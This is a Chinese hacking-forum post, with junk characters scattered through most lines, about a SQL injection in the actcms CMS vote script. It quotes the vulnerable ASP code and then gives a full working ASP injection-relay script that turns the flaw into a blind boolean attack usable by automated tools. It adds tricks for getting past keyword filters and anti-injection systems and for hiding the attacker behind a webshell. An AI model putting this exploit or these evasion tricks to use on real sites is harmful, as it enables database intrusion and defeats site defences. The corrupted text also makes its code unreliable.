中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

+ @. X/ {" K1 U0 c看到ninty大牛的blog的一篇文章; \- ^+ p0 s7 S, V" l
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
" P0 b8 p: o" n4 ~6 I% Y5 w* K关于actcms漏洞的利用  by 3x qq:381862589: O% N' ~- R  h2 E
转载请注明以上1 e- r2 C# ~) J- `
漏洞文件:
) I1 T8 ?0 |! p: w7 u/plus/vote/vote.asp- _- P/ q: I. L& l$ _3 K
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    - Q0 V2 v; g7 t  w: g1 N
/ f* b: S$ V9 {% ~4 b0 _" ~) D
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   - A# X0 V$ R& ~" D, H% M4 G

0 u0 G/ I/ n$ P4 F6 d3    response.end    * v& Q+ ?* c: }

: b9 J) k7 r1 {4    end if      j  H* b( b7 J, e3 [

2 o+ F$ d8 S1 H7 r& V, X9 B1 G" R) ]5    for i=1 to request("voted").count   
+ G  k( F+ m1 L+ |- A" l6 d' G" a' I6 \# }7 L
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    5 ]& d. e# F' R

9 j; O' w: z  p& z; ^7 o; O7    next   
. Q# W1 A, n/ p3 z: M, L& ]) J# ]/ |- q' S  u, P
8....    - H9 P* f6 d( V+ Y& \
. V! o2 U% v$ X7 p$ F* L8 O9 {
9response.Redirect "index.asp?id="&id&""   
3 Z5 l# g6 v+ X% `. U) B$ g投票结束回跳转回index.asp这个投票结果页面
) p: ^* [3 m. D0 `2 o3 u如果投票成功票数加17 p3 n; q3 a0 t* Y% \/ w
            失败票数不变& e* U! m5 z( x" V5 f: `
如图:
; f; `6 E8 u* |  k( I* |http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
% g6 P, p, r  ]- h. m# [+ o  R* l
0 U, N! u! X$ ]) u2009-12-27 13:20. L& s" S: j4 C2 j

3 t  ?) X# I$ N$ O" f! r) T$ V# |利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
' ?% r/ x  @1 [$ d9 Y3 }4 X7 z* K9 Z, V2 E( m3 x. e+ e8 c
本帖隐藏的内容需要回复才可以浏览
+ X# F5 |/ I$ g7 s' `8 Y, F4 r$ K& w我们用注入中转来实现这个注入具体代码如下:
; n# [/ f% W! Q  Q7 i+ m8 C先用寂寞的刺猬大牛的注入中转生成jmget.asp
* N5 {) U) }) T. G* |2 p注入地址:http://localhost/actcms/plus/vote/vote.asp. l4 a4 r8 f. F/ K9 C
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项- L& B& P2 [; i$ W4 b

% V. [3 f4 |, ^然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ) C7 I9 ]+ M- u

2 t9 A: ~/ u6 k& l  f; {02JmdcwName=request("jmdcw")
7 K4 ?  d. Z: d  X# ?0 V3 V
) ?5 c% P  l* I! I; g9 X* Y03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
8 d3 p! O( X: |3 E4 V
+ ^2 _. s/ R, t5 p7 U* n: d04JmStr="id=1&voted=-1 or 1="&JmdcwName 7 }1 J0 L6 O" R7 r

9 x! s0 c: m/ a! f% b: e7 N05JmStr=URLEncoding(JmStr)
/ J* r0 ~  C5 n3 M7 \. Q) t. w, \" D: l, ?" X' B: O
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
9 w* b2 g) P" Q* j6 z5 {
  H9 v: q. W$ s  Z( `0 M07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
% x0 O% {# R* v0 F: C* s2 Q/ g2 v) R/ n/ D, I7 H) x/ G: C# }
08testurl=testurl & "?" & JmStr
! B* ]1 b6 |2 ~7 V+ C3 i
6 O8 k) D8 I7 g5 U5 _$ |09JMUrl=JMUrl & "?" & JmStr
2 n) `& J3 T5 Z( P6 V; P; h6 T) n
9 ~1 K3 k) i; M8 V& k6 k/ j* F. i10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 g0 v" n6 O1 D: G% c1 v4 H9 B
$ A% q' [. p) S" l6 E8 m11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
4 w4 x/ K; G: F. H% U  I
/ D& P4 [3 k; d7 [12JmCok=replace(JmCok,chr(32),"%20")  
, Y% r( f, G& H% g, G/ q
1 c* x' i$ n8 H& N% c: c13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
  @) y1 B7 l1 K3 R5 U
  M4 w+ ^) b  N: }2 a14  
' K! k. v; q$ l3 C% A8 m
! @' Z, V% }# S- D% T  e- |4 n# l15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 ) D/ Q; K; h: s
" K* d7 d* r9 S) G8 a  i
16  
9 \; }% Y( z' q0 k; i0 Z" B6 r5 }6 j) v
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
! _7 e3 P4 R: l6 M" ~- J) y  `! t1 E% Y
18response.write test1&""&test2&""
/ O# q4 j0 `* ?7 `* M) Y- T, x
& r2 M$ z6 w' P. }/ X19  
' B# p3 i  _2 H3 r
7 x1 `1 b* w: e5 M20if test1=test2 then '如前后记录相等,表示失败 - ]" o8 R& c1 U9 Q+ E  {( u7 f

% |% ^$ ?7 j4 U0 F* {5 P% M# H! G21  response.write "failed"+ K, A* Q) B0 S' U5 t
4 @) G7 \4 W8 u
22else
5 c: l& m+ r* A* g, F+ q
5 o2 m: E) Q" S5 v, R. O! ]23  response.write "succeed"
' W0 d* _3 A# l0 r, i
1 R9 q, Y( k7 `; w& X1 B24end if  1 O9 ~2 a1 k2 J; V% ~* t

! ?) t/ w* p  h+ u25  
! h$ P! a2 Q0 m3 D8 B) x" k2 o
/ r3 S* Z( f5 V5 T7 b26response.write "by 3x"6 |; {7 U, w4 u* E5 y/ S
; X- `' Y/ t$ J- t0 q5 f9 N+ _
27  
8 f8 [8 H; A- K5 s8 P/ b$ X2 q
4 d! g' ^  ]/ V& }& s28  7 }( n8 V# q  f- ^3 Y' F
. t# q) o9 i' ?' E: i$ i
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   6 h7 _& J5 q$ @2 t9 j$ Y3 Q0 q
4 W# ?% ~% R" L" B- Q% N
30Dim Http
) D0 ~! G1 \8 S% T( r, l# N9 j. E( a$ I3 D( k
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; O/ R& [: a5 q9 i8 r7 `, y2 v1 Y1 a  |) K0 v+ s% W. H6 u
32With Http
8 G1 C" |' G- y# B8 G, N  Z
! S$ O+ Q  r& e7 A1 @# z33  
2 P6 U$ X7 A# u8 W0 R" B
# n) L5 j+ n: G6 `1 l& A! n1 Q9 z34.Open "GET",PostUrl,False! `7 W  ?. C1 j4 ~# h( _2 A
- f7 c3 \# Z2 o2 s0 X
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
. O% ~5 A; k$ O! G
: _3 a) k3 P( {- `6 P! A6 A36.SetRequestHeader "Referer",PostRef # N7 h* t" ~7 N7 o/ }
( v& i* P6 \- N# H0 ~
37.SetRequestHeader "Cookie",PostCok 3 V8 o& i/ p, V" \
$ o& {8 _& @3 M. _- }
38.Send ()
, e3 j5 Y* @9 z1 B; L3 E3 e* Y! [) M# |# M# H
39PostData = .ResponseBody
$ a/ W. Q2 z7 N7 P' H9 S! v) ~" {! u3 k8 `
40End With% E/ {; ~! }& E' M/ r. I# f

4 r  `. p% ^4 X4 C/ M: K$ U3 W41Set Http = Nothing
3 J9 k+ G& p. a' F3 ~
! V% M& f" K+ c( T; Z42PostData =bytes2BSTR(PostData) & w  k8 t$ P5 T' U9 O9 B5 P" D( y

" n3 O2 [6 w8 [% z43End Function- _5 b! T# K4 x7 @  ]# J5 N% g/ @
3 R7 E& z, ^* K, ^* ~0 N, \5 e
44  
$ P; f# K- X1 z7 Y0 I+ x+ J, w( y$ p  A- }% N+ T! F
45  6 |1 @# D7 q) p5 v

9 t7 ~! ~5 r2 g( H46Function bytes2BSTR(vIn)
) _% q" }2 I9 {
6 I) f& s7 h) N. r3 S8 |2 Z7 l5 ^47Dim strReturn . }7 l9 V5 f  V% D9 R  M: `
5 }! f" G% S/ t7 j4 q" K
48Dim I, ThisCharCode, NextCharCode ) |7 d) s( R+ Y( S' [) T

3 y' |0 \* f5 P+ a- k  O& R49strReturn = ""
9 T3 q/ d" R/ \  B$ l
( W$ h. X6 z8 \7 C+ {! h1 l50For I = 1 To LenB(vIn)
0 M7 P; K2 G* [/ S
9 _4 P! g. g, |1 J51ThisCharCode = AscB(MidB(vIn, I, 1)) * z$ s( _+ v/ H8 @) @2 S

8 E# S9 p" K' _$ y52If ThisCharCode < &H80 Then6 V- }) y5 g' x
; W: e  g& c. O) [
53strReturn = strReturn & Chr(ThisCharCode) ' s4 g2 [6 I. g

6 k8 N: N9 e, _54Else  @# C) V) q3 y8 V, I0 w6 m
) x8 h1 R1 P2 ~* m
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
5 Z# B. U5 Z- _* n
3 r) q' Q# a0 y. O% u56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 8 U4 |6 \* `; \- X8 `1 j- C
) m- X) H1 T7 [
57I = I + 1
* x, M, {& @3 `, E4 f7 Q$ K" G4 q" h/ u; B0 E5 m
58End If
9 v# L& q1 x+ o9 u, o
4 V/ w; |: U6 b' M% F  e59Next
. e- U1 v9 `6 e, G. @  N- y
& X, G6 {8 Y$ C  n60bytes2BSTR = strReturn
+ l" P; e8 }( O
) e) ~( w) R- `8 W6 E  a8 ?61End Function
* Y2 W4 D4 i& h- |0 H" s& f* x
' D# u; F* }! ^62  4 W: p1 R1 ]8 D, g- d
- F+ Y! O  A: h; W% F& _, C
63Function URLEncoding(vstrin)  ' i$ a1 I" l( e: p
) p4 p  e* N  |7 d9 ?+ r2 l" s
64strReturn=""
/ h5 U1 w+ r2 @) B1 z0 w
8 J' p- Q0 F* w& {65Dim i
; ?" @# S1 _- S2 p, e( S) N- U( y0 D" o' c
66For i=1 To Len(vstrin) % e4 _2 o1 _! N( U, z
. H/ T4 r" U8 z* }9 ^/ x1 d* X! Z9 _; s
67ThisChr=Mid(vstrin,i,1) & Q6 k) K" O  m( w! Y6 p

- E: E  e7 ^! U3 i% M68if Abs(Asc(ThisChr))< &HFF Then
7 m; G& n1 O) R( y6 S1 R, z- U& o4 A) n% v4 o' x. w, m
69strReturn=strReturn & ThisChr
8 W3 d' F8 W  t7 \/ m" z1 Y# m+ j+ N" O9 }, v5 |8 z: j
70Else+ i8 e& `  J- y. }' t  f
4 }4 O% L8 L) o3 ^) F
71InnerCode=Asc(ThisChr) 9 W5 t- {, _  g3 x  V0 p0 ]

2 Q: y: E- L( F  s! `. t% d72If InnerCode<0 Then7 u2 z6 J3 C  ^
0 |$ }( x* c, t4 x3 V. F/ Z5 Y% ^
73InnerCode=InnerCode + &H10000
. t0 p4 \' X# C7 g1 o5 @$ r- w1 N7 h0 }7 L: M9 u( X) _4 V# b; y: v
74End If4 ]3 f5 {" z1 f2 w" {* I. e# h9 Y( o

/ ]! K: O" @+ x1 `$ F5 |& J75Hight1=(InnerCode And &HFF00) \&HFF
4 M3 m& o7 T- ^% K6 w2 C' R# d
, g/ ^" N8 }/ C# W9 \7 |0 S7 J76Low1=InnerCode And &HFF
4 Z0 x/ J# f3 |% K3 `
! B' y2 L8 G$ f9 \77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
% z0 J. ]% b% o8 X, e+ r- l. q7 H: p; u
78End if / r' i3 g- M- @0 {0 B" t& Z* z: a

* q# ]7 K% V6 l) B0 C# b79Next- c: O/ e( R) A  Z6 D2 _. A
9 [6 Y/ m- P2 n- n# ?5 F
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 9 J: R6 {% G( R4 k( Q
- K& {  e- u: T9 u' L8 x0 m
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符   [2 N; v5 u, Q/ t3 D5 r0 f

) ^* q$ R/ H! n4 i8 S( a  r; a7 K82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
5 P) T, q0 Y& \- e% P3 y- ], `8 X; u$ Q7 V* V/ e+ ^* W' Q
83URLEncoding=strReturn " Y/ T9 _8 |! M+ n6 g" f

0 D3 L( H3 Y: A84End Function, V+ h# [& \1 w: m5 R

' f/ `, f# Z4 Q# z$ j( y1 g85  
: t/ A0 W1 H+ [! E9 ]* ^; a9 p  V- d, @3 ^7 [4 T& Y
86function getSt(body)
. U- e" s8 p/ G+ J! B9 W1 o: f) Z- V5 h
87  startpot=instr(body,"投票人数:")+len("投票人数:") ( o% M0 m: V" l5 H/ K- c

) [8 b  z/ {3 O0 {4 x88  endpot=instr(startpot,body," ") 0 s; M; m* w: M! g& h) F

4 M0 z. E) `  E" F' w7 n8 V( v89  getSt=mid(body,startpot,endpot-startpot) " \, }' M$ _% l1 O6 q! f

2 D. o+ B. B4 @" _. M1 H% o; f90end function
7 J4 i! Q( F, ^7 @2 y3 {1 e) T$ z8 p6 n) ~6 O2 A8 j
91%>
* O3 a, h% v2 h' W注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了4 g# c: o$ \/ A
测试下效果:2 H' a5 z1 j( g; R1 U
投票成功:
9 X* k6 N# U3 Nhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)4 [6 m4 L: i; S' Q7 d
& Y; o% L9 R$ U. L/ A
2009-12-27 13:29
) E4 Q# ?1 q4 ~3 H& S' U+ Y3 a: q. F投票失败
4 W, b; `6 t; W  G4 lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
. O; n7 a( U5 \. X+ N  |
$ G! H0 m7 a- B( y2009-12-27 13:295 Y7 X9 C" P: H* ~2 T" n
-------------------------------------------------------------------------------
) [) o' ]/ g! X' [" l8 v, B再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
8 M( h2 s- b2 E# ?+ `很抱歉。。。只能用单线程工具去注入。。。。。
; E$ q9 W9 ^" H$ ~& H- [所以失败。。。不好意思。。。
8 f9 x: T1 \4 d( p8 F4 }; ~% T-------------------------------------------------------------------------------
2 r8 M' N. d! j: r. |7 c5 _7 S: o- C, _9 b8 r% _
注入中转的一些其他应用
; M  a8 I, P- d; c4 r其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
, c) H2 w$ k! m! K1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
& `: H- }1 N5 y2.post注入转成get型的注入,方便我们使用工具来跑
) |& L& u0 Y9 R! z3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
2 G/ l% G/ i" W- d4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
) y9 i* w6 A& P, y) G6 }& f! I6 r2 {' _1 \3 X: N





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2